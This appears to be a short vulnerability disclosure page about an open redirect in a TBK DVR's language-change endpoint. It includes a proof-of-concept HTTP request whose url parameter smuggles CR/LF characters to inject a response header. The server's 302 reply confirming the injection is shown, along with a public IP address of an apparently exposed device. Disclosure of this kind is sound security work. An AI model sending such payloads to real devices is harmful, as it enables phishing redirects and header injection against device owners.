UIDDISCLOSE
LowCWE-601

[DVR TBK] Open Redirect ( en flujo de cambio de idioma ) - CVE-2026-####

0
Community vote
2.0
Low
Researcher's judgment · no CVSS
// Executive summary
// Reproduction steps
// Affected surface
URL
http://188.212.244.41:85/device.rsp?opt=changelanguage&language=11&url=//example.com/aa.rsp
Endpoint
GET /device.rsp?
Parameter
opt=changelanguage&language=11&url=//example.com/aa.rsp
GET /device.rsp?opt=changelanguage&language=11&url=//example.com/aa.rsp?%0d%0ax:%20qwe HTTP/1.1
Host: 192.168.0.101:85
User-Agent: Morzilla/7.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Cookie: uid=root


HTTP/1.0 302 Found
content-type: text/html; charset=UTF-8
P3P: CP='IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT'
Location: //example.com/aa.rsp?
x: qwe
Set-Cookie:uid=root; Version=1
Set-Cookie:userlan=11; Expires=Fri, 02-Jan-2099 01:00:00 GMT; Version=1


<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF='//example.com/aa.rsp?
x: qwe'>here</a></BODY></HTML>
// Impact
// Mitigation

Comments

0

More from @CapitanAlfa

Writeup2.0

[TBK DVR] CRLF Injection con HTTP Response Splitting - CVE-2026-####

On TBK Vision

El endpoint device.rsp?opt=changelanguage&language=<idioma>&url=<destino> refleja los parámetros language y url en los headers de la respuesta ( Set-Cookie y Location , respectivamente) sin neutralizar los caracteres CR ( \r ) y LF ( \n ). Un atacante puede…

@CapitanAlfa 1 min00